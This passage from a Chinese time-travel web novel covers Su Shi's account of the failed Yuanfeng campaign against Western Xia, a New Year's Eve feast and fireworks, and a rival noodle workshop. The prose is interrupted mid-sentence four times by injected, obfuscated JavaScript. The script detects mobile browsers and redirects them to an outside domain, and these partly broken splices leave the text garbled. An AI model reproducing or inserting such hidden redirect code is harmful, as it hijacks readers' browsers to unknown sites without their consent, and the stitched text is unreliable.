再说了，你当那些辽人是吃素的吗？” “我一个农民自是不懂打仗的事，但我至少知道燕云十六州落在辽人手里对我大宋朝的威胁有多大！”鲁大也很不忿：“若不是有家累，我倒是愿意上战场去跟那些辽人、党项人拼个你死我活，好过如今这般憋屈！” 眼瞅着两人就要吵起来，苏轼插在中间说和：“你们二人说的都没错。正如陈武所言，若不是太祖皇帝推行奖励军事技术发明创造的政策，便没有后来主管兵器的兵部令史冯继升进献喷射火器，并连同军官岳义方造出了史上第一个以火药为动力的飞行兵器——火箭。我朝历代帝王素来重视军备，积极纂修兵书，发展兵器工业，这才有了如今颇具规模的‘广备攻城作’。只不过打仗的确不是只靠军备就够了，我方有火器，敌方一样也有杀手锏哪。”【注1】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161008|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “敢问大人，打仗除了靠军备，还要靠什么？”陈武好奇道。 苏轼没有直接回答，而是幽幽道：“元丰四年（1081年），西夏发生内乱。夏惠宗遭太后梁氏囚禁，无奈之下托人暗中向先帝求助，提出以‘河南地归宋’（这里的河南指的是西夏国境内黄河以南的地盘，其中包括了西夏的经济命脉——河套平原）为条件助他夺回政权。”【注3】 “先帝经过深思熟虑后毅然下令发动一场大宋自建国以来规模空前的军事行动——元丰西征。并派出以李宪、王中正、高遵裕等人为首的五路大军，分别由熙州（今甘肃临洮县）、绥德脂、河东、环庆路出发，攻打西夏的灵州、夏州、怀州等地，并最终剑指西夏首都兴庆府，直至吞并西夏，迫使辽国称臣纳贡。”【注3】 “战争初期由李宪率领的熙河军率先出击，占领西使城，并乘胜攻打龛谷城，缴获大量粮草、弓箭等物质。随后李宪一路朝兰州开拔，并顺利攻取兰州城。与此同时，种谔在攻打米脂寨时遭遇西夏大将梁永能率兵八万激烈抵抗。经验丰富的种谔使了一招声东击西，假意在无名川摆开架势迎战西夏军，实则伏兵出击斩断西夏军首尾，将这一支以野战闻名的西夏军彻底打垮，并迫使米脂寨守将闻风而降。”【注3】 “经过这几场胜仗，我朝军队士气高涨，一路所向披靡。李宪和种谔两路大军，一东一西夹击西夏军，并攻占了兰、银、石、夏、宥等州。而第五路的刘昌祚率兵孤军深入西夏，至磨齐隘（今宁夏同心县）时遇到了西夏国的十万大军。刘昌祚毫不畏惧，排兵布阵，奋勇向前，击溃西夏军，并占领磨齐隘，随后又攻取了西夏人囤积粮草辎重的鸣沙川，并率领泾原军飞速兵临灵州城下，准备攻城。”【注3】 说到这里苏轼停顿下来，回头望去，在场诸人无不心潮澎湃，神情激越。 他微不可闻地叹了一口气，道：“就在形势对我军一片大好之时，高遵裕的使者突然冲到阵前命令刘昌祚立刻停止进攻，等高遵裕到来后再进攻。这道命令令泾原军上下群情激愤，尽忠职守的刘昌祚却为了顾全大局下令停止对灵州城的进攻。要知道灵州乃是西夏国都兴庆府的南方门户，一旦攻破便会对兴庆府构成极大的威胁，然而，机会就这样错失了。”【注3】 “当晚高遵裕在距灵州三十里地处被西夏军伏击，后虽被刘昌祚带兵解救，但经过这次闹剧后，泾原军和环庆军士气低迷。兼之西夏梁太后早已派名将仁多零丁率数万西夏军驰援灵州城，双方激战十八日后，依然僵持不下。“【注3】 “形势对我军越来越不利之时又传来噩耗，我军的粮道被西夏军截断了。无奈之下高遵裕只能下令撤军，然而仁多零丁却没打算让我朝军队全身而退，他下令军队掘开黄河堤坝，水淹强渡黄河的我朝将士……时值隆冬，被冰冷刺骨的黄河水溺死的我军将士不计其数……”【注3】 78. 第七十八章 元丰西征的惨败，北宋全国上下几乎人尽皆知，只是知道的程度不太一样而已。 像陈武这种从小生长在皇城脚下，又是宰执府上的家生子，兄长还是广备攻城作的在编人员，知道的自然是多一些。而鲁大这种乡野农户，虽然远离皇城，但多少读过点书，比其他大字不识的农民自然了解的要多一些，但他们俩知道的关于元丰西征的信息拼凑在一起也不及苏轼讲得这么全面。 在得知灵州之役竟是因为高遵裕一己之私令几十万将士命丧黄河后，他们内心的愤怒达到了顶点。只是谁也不敢将这怒气发泄出口，因为他们都知道这个罪魁祸首高遵裕身份尊贵，他不仅是宋朝名将开国功臣高琼的后人，更是前朝皇太后高滔滔的伯父，是如假包换的皇亲国戚。 苏轼自然是理解陈武鲁大他们敢怒不敢言的心情，但他不能告诉他们元丰西征惨败背后真正的罪魁祸首不是别人，正是发动这场四十万大军五路伐夏，妄图给宋朝逆天改命的背后推手——宋神宗赵顼。 宋神宗19岁即位，接盘的是一个财政亏空严重，地方豪强割据，军事上外强中干的空壳子王朝。他自幼对先祖数次欲吞并幽，蓟、灵武等地却兵败，最后不得不屈服于辽国西夏一事而耿耿于怀，立志要“慨然兴大有为之志，思欲问西北二境罪”。为了改变宋朝积贫羸弱，四周强敌环伺的危局，他全力支持王安石变法，为的就是要富国强兵，解决北宋积弊已久的“三冗”问题，提升国力，统一北方，收复被辽国侵吞的燕云十六州和被西夏占据的西北边地。【注1】 熙宁二年（1069年）二月，王安石担任参知政事，在神宗的支持下推行大刀阔斧的变法改革，史称“熙宁变法”。从公元1069年开始至公元1073年五年间，王安石先后颁布实施了均输法、青苗法、农田水利法、募役法、保甲法、方田均税法、市易法、免行法，并改革了科举制度。【注1】 王安石推行的一系列新法政策虽有或大或小的各种弊端，但“富国强兵”的效果却是显而易见的。宋神宗年间国库积蓄可供朝廷二十年财政支出，彻底改变了北宋“积贫”的局面。实施强兵措施，重视武备，设立仿唐军器监，职掌中央和地方的兵器制造，并对其管理机制进行了重大改革，使北宋的军事实力大大提升，从根子上改变宋军“羸弱”的现状。【注1】 熙宁六年（1073年），在王安石的指挥下，熙河路经略安抚使王韶率军进攻青唐吐蕃，收复河、洮、岷等五州，拓地两千余里，受抚羌族三十万帐。这是北宋军事上一次空前的大捷，彻底扭转了北宋与西夏的战争格局。【注1】 河湟拓边（熙河开边）的胜利给了宋神宗极大的信心，他想成为汉武帝、唐太宗那样名垂青史的贤明君主，他要超越太祖皇帝，消灭西夏和辽国，夺回燕云十六州，再现汉唐盛世。而西夏的政变恰好给了他一个合理出兵西征的理由，这一次他要亲自检验熙宁变法之后大宋真正的军事实力。【注1】 元丰四年（公元1081年）六月，宋神宗以惊人的速度集结了西北边境四十余万人，共分五路大军出征西夏。为了这场战争，他做了周密又详细的军事部署和作战计划。此时的神宗身边已没有了得力好用的心腹大臣，跟随他多年，协助他变法的王安石早已在熙宁九年（公元1076年）罢黜了宰执之职，归隐金陵去了。【注1】 但宋神宗不在乎，他相信自己可以独自打赢这场胜算颇大的伐夏之战。 然而，押上了熙宁变法全部家当的宋神宗终究没能从命运的赌盘上全身而退，缺乏军事才能，这场仗打得乱七八糟，非但没能消灭西夏，还白白牺牲了几十万将士和民夫，神宗本人也因此抑郁而终。【注1】 宋神宗不知道的是那个远在金陵的老伙计王安石在得到伐夏之战惨败的消息后，一夜白头。 王文茵还记得那一日祖父对着皓月长空独自在院子里站了一整晚，他像是有预感变法的成果会被彻底废除，终究是心有不甘，在神宗走后的第二年他也病郁而终，追随于他有知遇之恩的官家而去。 后世的人对元丰西征失败的原因做过详细的分析和总结： 这场战争没有一位经验丰富的名将做前线统帅，而宋神宗作为全军唯一的统帅，虽然在整军备战上很有一套，但却是个多谋寡断，投机反复，好大喜功的冒进主义者。这五路大军分别由两名宦官、两名边将、和一名外戚担任主帅。不但武将与宦官之间矛盾重重，武将与武将之间又内斗不断，最糟糕的是军队主帅与负责后勤的漕臣之间也纷争不断。【注1】 宋军在五路伐夏的失利不是野战的问题，而是败在了后勤上，粮草补给跟不上会直接影响战争的进程和结果。当时因反对免役法被新党弹劾外放出了朝廷，后来又被惜才的宋神宗以得罪之身派去接任吕惠卿鄜延路经略安抚使的位置，强化边境武备的沈括（对！就是著名的北宋科学家，《梦溪笔谈》的作者）就曾计算过向灵州前线运输粮食，如果纯靠人肉运粮，供应10万人作战就需要30万民夫，供应五路伐夏40万大军作战则需要120万民夫！并且每运输四十万石粮，最多只有六万石能到达灵州，这还是没被西夏军队劫掠粮道的前提下。以当时北宋西北的人力资源根本无法负荷这样的运输量，以至于不少州县不得不发动女性去运粮。【注1】 五路伐夏大军最后只有熙河路的宦官李宪才勉强没有因为粮草不足导致民夫和士兵争夺粮草引发军阵混乱的局面，原因在于他的转运司里有一个可遇不可求的后勤人才——赵济。此人的祖父赵贺跟父亲赵宗道都是北宋治郡理财的能臣，而赵济本人也精于计算和调度。在保障前线足够五十日的粮草，避免了被西夏军切断粮草的麻烦后，赵济很早便将民夫陆续放归。这样一来不但减缓了军队管理上的压力，也降低了粮草的消耗，最后就只有熙河路没出现民夫枉死的惨剧。【注1】 李宪事后给宋神宗的《兵策》中对这场五路伐夏之战的失利做了总结，由于宋夏之间隔着大面积的沙漠和旱海，在最初几次野战上吃了大亏的西夏掌权人——大梁太后立刻调整方案。不再与宋军正面对决，而是采取坚壁清野的策略，将前线的军队收拢，任由宋军深入西夏境内，暗中却派遣轻骑兵从后方劫掠宋军的粮道。时间一久，深入腹地的五路宋军在资源的使用上太过分散，后勤补给跟不上，自然不战而困。最后西夏军再集中全部的力量伏击其中一路宋军，就能在局部形成战斗的绝对优势，而这也是宋军失败的主要原因。【注1】 不过，最重要的原因是整个大宋王朝受传统思维局限，习惯外行指导内行，文官打压武将，宦官上阵指挥打仗，当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168940|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然或许从大宋立国开始重文轻武就已经注定了这个必然要败的结局。【注1】 “嗐，好好的怎么说到打仗这么沉重的话题，是我老糊涂了，自罚三杯。”苏轼见其他人都是一脸怅然的样子顿感愧疚，试着调解气氛，拿起酒坛子倒了几杯酒，放到陈武、鲁大他们手中，“来，今日是除夕，咱们痛痛快快喝几杯！” 陈武鲁大眼瞅着苏轼仰脖将杯中的酒都干了，却仍是一动不动。 “怎地，你们都不会喝酒？” 陈武鲁大同时摇头。 “那为何不喝？” “大人，小的们不敢。”陈武支支吾吾道：“小的只是下人，怎配跟大人一道喝酒。” 苏轼哈哈笑，一掌拍在陈武肩头：“什么大人、小的，在我这儿没这么多规矩！王小娘子不都说了嘛，食物不分贵贱，人也一样，来，咱们干一杯！” 王文茵笑吟吟地为大家斟上酒，递到每个人手中，自己也拿起一杯来给大家敬酒，“苏大人说得对，在这里咱们人人平等，大家尽管放心喝，哎，可惜酒不太够……” “够够够！”陈武将杯中的酒饮尽，抬手抹了一把嘴角，嘿嘿笑道：“差点忘了老夫人有一份新年礼物托我捎给小娘子和大家伙儿呢。” 陈武说完一溜烟跑了出去，过了没多久他带着文家庄的一帮家丁，肩扛手挑将一坛坛酒抬进了后院。 “这些酒都是文老夫人送给大家的新年礼物。老夫人说了，先前吃了大家的‘回赠肉’，这些便是她给大家的‘回赠酒’。” 在场众人无不大呼感恩，朝着汴京方位向文老夫人跪谢，祝她老人家长命百岁。 陈武将一坛酒送到王文茵面前，“小娘子，老夫人说，今日酒管够，大家想喝多少就有多少。” “还请小武哥代我向老夫人致谢。”王文茵也不客套，接过酒坛子，将蜡封的坛口揭开，一股子醇厚浓郁的酒香飘了出来。 “这酒可是开封丰乐楼上好的醇酿‘眉寿’？”嗜酒如命的苏轼一闻便知。 “正是。”陈武佩服不已，讨好道：“大人这鼻子比咱们庄子里的旺财还要灵。” 王文茵掩嘴偷笑，她没敢告诉苏轼旺财就是文家庄看门的大黄狗。 不知情的苏轼自我调侃：“不谦虚的说，我这鼻子一闻着酒香那绝对比狗鼻子还灵。” 这下王文茵可绷不住了，抱着肚子哈哈大笑。 苏轼当然知道她在笑什么，却似全然不在意，自我嘲解：“我若是能如狗一般有口吃食便满足了，倒也简单快乐。” 王文茵自知失礼，欠身向苏轼致歉：“大人勿怪，是我僭越了。” “不怪，不怪，阿茵无须多礼。”苏轼摆了摆手，拿起酒杯放到唇边深嗅一口，一脸满足，“一箪食，一豆羹，得之则生，弗得则死。人生在世，吃喝二字，哈哈哈。”【注2】 王文茵拍手笑道：“大人同我想到一处去了，就算无法改变人会死这个事实，也得好好活着，好好吃饭不是？” 见其他人早已垂涎三尺，王文茵宣布：“今晚的年夜饭咱们吃‘自助餐’！” 自助餐？ 在场的众人不约而同缓缓打出一个问号来。 “小娘子又弄了什么新鲜的吃食啊？”有人从外面进来问道。 79. 第七十九章 来人正是静缘庵的主持妙善师太，她在徒弟静尘的陪同下刚进院子就被欢聚在这里乌压压的人群惊了一跳，“小娘子这是要大摆宴席呐？” 王文茵上前向妙善行礼，“惊扰了师太。” “无妨，无妨。”妙善从善如流，呵呵笑道：“在场的都是乡里乡亲老熟人，只是咱们庵里怕是没有多余的桌椅可供这么许多人一同用膳咧。” “师太无须担心，便是考虑到今晚一同用膳的人较多，这才让大伙儿吃‘自助餐’的。”王文茵道。 “究竟何谓‘自助餐’？”素来不爱打听的静尘也被勾起了好奇心。 王文茵将妙善和静尘领到一长溜的餐台前。 “这‘自助餐’呀便是将吃食放在大盆中，大伙儿带着自家的碗碟从各个盆中挑选自个儿喜爱的吃食，当然记得别拿多了，拿多了一则吃不完浪费，二则别人就吃不到了。” 村民和流民都十分守规矩，排着长队鱼贯着从餐桌的一头缓缓朝另一头挪动，见到自己喜欢的食物也只舀取少量放入碗盘之中。 妙善连连点头称是，不由赞道：“这段日子以来，在小娘子的帮助下大伙儿都过上了衣食无忧的好日子。先贤有云：‘仓廪实而知礼节，衣食足而知荣辱’【注1】，看来是有道理的。” “师太过奖了。若不是当初师太创立这福田院，收留了我们这些无家可归之人，又怎会有今日这般好光景。” 妙善老脸一红，讪讪道：“小娘子羞煞老身了，当初创办这福田院不过是贪图官府多给一些米粮铜钱而已。” “凡事论迹不论心。不管师太当初是出于何种目的创立这福田院，也救了许多人不是？”王文茵真心实意道。 妙善心下大为感动，喉头哽咽得说不出话来。 一旁的静尘见状巧妙地将话题接了过去，“小娘子，今日这些盛菜的盆子为何长得都不一样？” 王文茵摊手，“这不是咱们庵里没有多余的锅碗瓢盆嘛，只能借乡亲们家中的碗盆一用。” 静尘张大嘴看着面前一长溜大小不一、形态千奇百怪的“盆子”，每只盆中都盛有不同的菜肴，这些菜肴之丰盛，之多样，是她这辈子都不曾见识过的，不由自主咽了咽口水：“小娘子可真是七窍玲珑心，这法子都想得出来。” “师太谬赞。”王文茵咯咯笑：“今晚不止锅碗瓢盆，连桌椅板凳都是乡亲们自带的，这叫众筹吃餐。” 早已对王小娘子时不常地蹦几个闻所未闻的新鲜词儿出来见怪不怪的妙善师徒倆这回居然秒懂，“小娘子说的‘众筹’可是‘自备’的意思？” “呃，差不多。‘众筹’的意思是群众集资支持的各种活动，包括灾害重建、创业募资、才艺创作等等。简而言之，就是钱不够大家来凑，我这儿只是化用了这个词而已。今日人多口多，咱们庵里缺少锅碗瓢盆桌椅板凳，不如大家自备也省去了麻烦。”王文茵道。【注5】 苏轼过来见礼，“这位可是静缘庵的住持师太？” 妙善先前听静尘说起过苏轼到访静缘庵，却没正式见过面，当时就大呼遗憾，这次得见真人，赶紧行了个大礼。“见过苏大人，老身正是静缘庵住持妙善。久仰苏大人大名，今日得见，深感荣幸，庵堂简陋破败，还望苏大人莫要嫌弃才好。” 苏轼摇摇头，“师太有所不知，苏某被贬黄州时所住的茅草屋比之静缘庵只有更不如，何来嫌弃一说。” 妙善虽偏居一隅，对朝中大事也略有耳闻，知道苏轼曾遭大难，差点死在狱中，不免生出怜悯之心来，“大人乐观贤达，必能随遇而安。” 苏轼拱手，“借师太吉言。” 妙善又还了一礼。 王文茵端着餐盘过来交给静尘，“师太想吃什么可自行挑选，今日虽以全猪宴为主，素食亦备了不少。” “我们在此又是吃肉又是饮酒，怕是会冲撞了庵堂内的神佛。”素来放荡不羁的苏轼歉疚道。 “无妨，无妨。”妙善善解人意地笑了笑：“此处本就划归为福田院，与庵堂尚且隔着一个院子。再者，汴京城内的大相国寺还有专卖猪肉的烧朱院呢，我们静缘庵也没这么多规矩，苏大人不必介怀。” 王文茵掩嘴笑道：“我曾听一位得道高僧说过这么一句话，‘酒肉穿肠过，佛祖心中留’。”【注2】 这句话出自南宋高僧道济，也就是世人熟知的活佛济公。王文茵心说我先借来用用，还望活佛勿怪，版权归你，阿弥陀佛。 “哦？是哪位高僧？”苏轼饶有兴致追问：“如此有趣之人我竟从未听说。” 王文茵后背开始冒汗，尬笑道：“这位高僧神龙见首不见尾，我也只是耳闻，尚未有幸见过真身，更不知其法号为何。” 苏轼立马就明白了王文茵的言外之意，想必这位高僧是后世之人，阿茵才不方便说出他的法号，便没再追问下去。 一旁的妙善双手合十，感悟道：“修行在人间，佛性自无垢，阿弥陀佛。” 年夜饭吃完后便是万众期待的烟花表演环节。陈武特地选了一个空旷之地放烟花，避免火星子引起稻田森林火灾，谁让丰收村既没有“军巡铺（消防队）”，又没有“潜火军（消防员）”呢。 围观群众除了丰收村里的大人小孩，连附近相邻村子的村民也闻风赶来看热闹了。平日不爱凑热闹的妙善也在王文茵的盛情相邀下跟着大伙儿一起下山来观赏这难得一见的烟花表演。 作为节日庆典和民间娱乐的常驻表演嘉宾，宋朝的烟花已经发展成了一条成熟的产业链，不管是制造技术，还是种类花样都达到了同时代世界顶尖水平。考虑到烟花表演有一定危险性，所以烟花通常都是由经过培训的专业伎艺人来表演。【注3】 汴京城常见的烟花表演样式有走线、流星、水爆、成架烟火几种，但要说哪一种专业性最强，当属“药发傀儡”。【注3】 “药发傀儡”又叫竿火、架子火，是一种借助火药爆炸燃烧的力量将纸制人物射向空中并飞腾旋转起来的一种烟花。这种烟花的玩法因为专业性太强，非一般人能驾驭，便成了烟花表演中一个独特的存在。整个大宋朝能表演“药发傀儡”的艺术大师也只有寥寥几人，其中最出名的当属李外宁、张臻妙、温奴哥等人。【注3】 陈武这次带来的烟花便是出自于著名的烟花表演大师李外宁家的作坊。 先放的是“走线”烟花，便是将火药横向挂在水平放置的铜线上，点燃后由铜丝的一端向另一端燃起火焰，散发出光彩夺目的烟火。这虽是最常见的一种烟花，但对从未见过烟花的流民来说却是大开眼界的稀罕物，生平第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173522|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次见到如此美丽的焰火，孩子们兴奋得原地蹦跳欢呼，大人们也忍不住鼓掌欢呼。【注3】 大家这般捧场，叫陈武生出一股自豪感来，这烟花放得更是起劲，放完“走线”放“流星”，放完“流星”再放“成架烟火”，在众人的欢呼呐喊助威下，带来的一整车烟花快把整个丰收村都点亮了，每个人脸上都洋溢着快乐的笑容。 “几个月之前我都不敢想象今年除夕竟会是这般快乐。”妙善擦擦眼角幸福的泪花，不知道是烟花太亮堂被闪着眼了，还是心底最柔软的那根弦被触动了。 苏轼也有同样的感触，“今日也是苏某这些年过得最舒畅开怀的除夕夜了。” 乌台诗案后他被贬去黄州当团练副使，职位低微，没什么实权，还要受当地官员监视，心情苦闷可想而知。在黄州的那段时间，他闲时带着家人垦荒种田帮补生计，生活清苦，唯一的乐趣是去城外的赤壁山游览散心，后世广为传颂的《赤壁赋》《后赤壁赋》《念奴娇·赤壁怀古》等名作便是在那段日子写下的。【注4】 黄州任期满后他又被朝廷调往汝州赴职。汝州地处偏僻，一路舟车劳顿，刚出生才半年的幼子苏遁在途中不幸夭折。那个时候他早已身无分文，连给孩子买一副好点的小棺材的钱都拿不出，悲痛、绝望、自责差一点就把他击垮了。这些年宦海沉浮、人情冷暖都没能击垮他，唯独对家人他万般愧疚。【注4】 好在一切都过去了。神宗驾崩后，他在远离朝堂纷争的常州定居，家人还在身边，朋友也渐渐多了起来。本以为下半辈子能在常州安度晚年，却不想新帝登基，高太后临朝听政，新党一派被打压，原为旧党部署的他又被朝廷召回。先是担任礼部郎中，再升为起居舍人、中书舍人，最后则为翰林学士、知制诰、知礼部贡举。【注4】 只是，再多的官衔也换不回他那苦命的干儿，功名利禄于他又有何意义？ 王文茵捕捉到苏轼眼底那一瞬即逝的悲凉，猜想他必定是想起了早夭的幼子，于是便到陈武身旁悄悄说了一句话。 陈武忙不迭点头，转身去做准备。 王文茵回到苏轼身旁，笑盈盈道：“咱们大宋过年放爆竹，大人可知隔壁辽国过节用什么驱鬼？” 苏轼被她的话打断了哀思，回眸看着她笑了笑，“这……我还真不知道，阿茵可知？” 王文茵抿嘴一笑，“听祖父说辽国疆域虽广，却大都为苦寒之地，远不及我们大宋朝丰饶富足。他们那儿种不了竹子，过节时只能将粗大的盐粒扔进火盆里噼噼啪啪当爆竹驱鬼呢。”【注3】 苏轼捧场地哈哈大笑，辽国用粗盐充当爆竹之事他自然是知道的，可他更知道阿茵这么说是为了逗他开心，他又怎能辜负她的心意。 “咱们大宋子民就不用这么费事儿了，如今不止有爆竹，还有百响长挂鞭炮呢，鞭炮一响，管他什么牛鬼蛇神统统都赶走。”王文茵拍了拍手。 那边陈武将鞭炮的引线点燃，震耳欲聋的噼噼啪啪声伴随着大人小孩的欢呼声响彻天际。 “新年快乐！” “万事如意！” “风调雨顺！” “年年有余！” …… 在声声祝福中，大家互相拱手致意，期待新的一年平安顺遂，阖家幸福。 80. 第八十章 大年初一，新年新气象。 王文茵一大早起来先将宿醉未全醒的苏轼送下山，他回汴京正好搭陈武的马车。 吃过早餐，张二嫂、李阿萍两家人都赶着要回朱仙镇。说今日大年初一，出门逛街购物吃饭消费的人肯定多，比起闲着无事干，她们宁可辛苦点开门迎客赚小钱钱。 王文茵拗不过她们只好随她们去了。辛苦了几个月，好不容易有个假期她只想睡个昏天黑地，尤其是回笼觉，简直太滋养了，谁叫她还在长身体呢。 只可惜，天不遂人愿。 还没等王文茵睡够两个时辰，就被一阵急促的拍门声给吵醒了。揉着眼迷迷糊糊从床上爬起来，打开门赫然发现门口竟然站着去而复返的张二嫂跟李阿萍。 “婶子，你们回来了啊，该吃晚饭了吗？”王文茵打着呵欠，意识还处于懵逼状。 “哎哟，我的小娘子，出大事了！”张二嫂拍着大腿脸涨得通红。 王文茵终于清醒了几分，眨眨眼，发现阿萍急得都快要哭出来了，惊问：“发生什么大事了？” “小娘子，适才我们回到朱仙镇上，米粮铺的周老板就过来通知说以后不在咱们的米线作坊定制干米线了！”阿萍又怒又急：“他说镇上今日新开了一家白记米线作坊，在他家定制米线比咱们这儿便宜三成呐！” “这个周老板真是个见利忘义的小人！”张二嫂啐了一口，忿忿不平。 呵，到底还是来了，动作倒是挺快，王文茵心说。 “白记米线作坊？……可知背后老板是哪家？” 张二嫂同李阿萍面面相觑，又同时摇了摇头，“还没来得及打听，我们就赶回来给你报信了。” 王文茵低头沉思，竟然敢明目张胆在朱仙镇上开一家山寨米线作坊，摆明了背后的人有钱有势，要查明对方的身份并不是什么难事。 “小娘子，你说新开的这家白记米粉作坊会不会跟上次假冒流民混进来的那个‘老闫’有关系？”张二嫂脑海中闪过假老闫那张阴险狡诈的脸，咬着牙道：“若是让我再见到此人，必能一眼将他揪出来！” “有这个可能。咱们这么小一个作坊混进一两个细作又不是什么难事，该来的还是会来，倒是他们的行动力比我想象的要快不少。”连王文茵都不得不佩服对方这办事效率，唉，要不是有竞争关系，她还真想网罗旗下。 “那咋整啊，周老板他们以后都不来咱们这儿订购米线了，大伙儿好不容易有个奔头，这日子不会又要回到过去吧？”闻讯赶来的鲁大急得团团转。 “嘿哟喂，我说你能不能别这么毛躁。”王大崔一把将鲁大拉开，以顶头上司的身份教育他：“这么点小事就把你给紧张的，没见我们小娘子正在思考对策吗？” 王大崔虽然做事喜欢偷懒，又爱摆小领导的臭架子，但胜在脑子灵光，善于察言观色。上回王文茵不慌不忙让他去调查假老闫的来历后，他就知道王小娘子定然早就想好了对策。所以他才不担心，以小娘子的聪慧，就算山下的米线作坊没生意关停，她也能为大伙儿找到别的生路。 王文茵确实如王大崔所料一般淡然一笑，安抚道：“大伙儿都别急，我先洗漱一下，一炷香后咱们开一个紧急会议，商讨下一步计划。” 王小娘子如此淡定自若，那就说明事情还有转机，大伙儿都跟吃了颗定心丸一般长出一口气来，各自散去。 一炷香后，王文茵将几名骨干成员召集起来如此这般一通叮嘱，几人脸上的表情由危转安，继而露出喜不自禁的笑容，最后在王大崔的带领下纷纷起立鼓掌，会议圆满结束。 王文茵送张二嫂李阿萍她们回朱仙镇的时候，发现在米线作坊打工的村民和流民都聚在了静缘庵的山门前，他们脸上不无担忧焦虑，于是便上前告知：“大家不必担心，咱们的米线作坊不会倒闭关门大吉，反而会蒸蒸日上！” “可是小娘子，听说周老板他们以后都不来咱们这儿订购米线了，这事儿是不是真的？”有人战战兢兢问道。 “是真的。”王文茵坦诚相告。 众人哗然，议论纷纷，沉不住气的已经开始捶胸顿足了。 鲁大见状立马上前安抚众人：“大伙儿别急，先听小娘子把话说完。” 鲁大虽是王大崔的副手，但作坊内的工人都已经习惯以他马首是瞻，他一出声大伙儿便都安静下来。 王文茵朝前一步，立在众人面前，拔高嗓门道：“大家都知道先前咱们作坊内混入了一名细作窃取制作米线的技术机密，今日二婶子同阿萍得知朱仙镇上新开了一家白记米线作坊，他们那儿开出的定制价比咱们要低三成。” “太不要脸了！窃取咱们的技术还搞低价竞争！” “断人财路，如杀人父母！让咱们没活路的，咱们也不能放过他们！” “咱们一起去朱仙镇砸了那家白记米线作坊！” “砸了他娘的白记米线作坊！” …… 一时间群情激愤，众人纷纷撸起袖子要去朱仙镇上砸场子。 鲁大见势不好，暴呵一声，犹如河东狮吼，登时把所有人都唬住了。 “你们想干什么？□□可是犯法的！这年还没过完呢，都想进牢房了吗？！” 一席话如寒冬腊月里的一桶冰水把头脑发热的众人从头到脚给浇了个透心凉，也让他们瞬间恢复了理智。众人你看看我，我看看你，一脸不甘，却也不敢造次，都巴巴看着王小娘子，等着她给出解决方案。 王文茵见众人都冷静下来，这才缓声道：“米线的制作技术早晚都会泄露出去，只不过白记米线手段太下作，偷了咱们的技术不说，还想用低价竞争这套逼咱们破产倒闭，这口气自然不能就这么咽下。” “对！小娘子说得对！” “让白记米线破产！倒闭！” “打倒白记米线！” …… 王文茵将手往下压了压，众人瞬间便安静下来，他们内心的愤怒已经被报复的情绪替代了，一个个跟打了鸡血一般炯炯有神。 “咱们不但要让白记米线作坊破产倒闭，还要让自家的丰收米线作坊名扬天下！”王文茵话锋一转：“不过在这之前咱们得先做个转型，搞点副业。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178226|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人张了张嘴，想问又不敢问出口。 王文茵微微一笑，“大家是想问搞什么副业吧？” 众人纷纷点头，一脸尴尬又不失礼貌的笑。 王文茵抛出两个字：“制糖。” 制糖？众人面面相觑，有点不敢相信。 糖可是稀罕物，市面上卖得老贵了，虽说糖跟盐一样是调味料，但普通百姓家中很少储备糖，偶尔买点麦芽糖、蔗浆打打牙祭已是奢侈，其他的糖类更是连奢望都不敢的。 王文茵道：“既然暂时接不到米线订单，作坊也不能闲置不用，正好用制糖来填补这段空档，如此一来大家照常有活干有钱赚，你们说好不好？” 好！好！好！怎么不好，简直求之不得！ 王文茵朝鲁大颔首，鲁大将手一挥，“小娘子的话大家都听到了吧？” “听到了——” “大伙儿先安心过个好年，咱们年初三正式开工！” “好——” 哗哗哗鼓掌声经久不息，丰收村的村民脸上喜气洋洋。 **** 朱仙镇上周记米粮铺的老板周大福眯着眼悠闲自在地靠坐在勾栏二楼听小曲儿，这是他一年中唯一得闲的几日。听说勾栏新来一名角儿，叫绿珠，小曲儿唱的那叫一勾魂摄魄，这不刚开场他便迫不及待赶来捧场了。 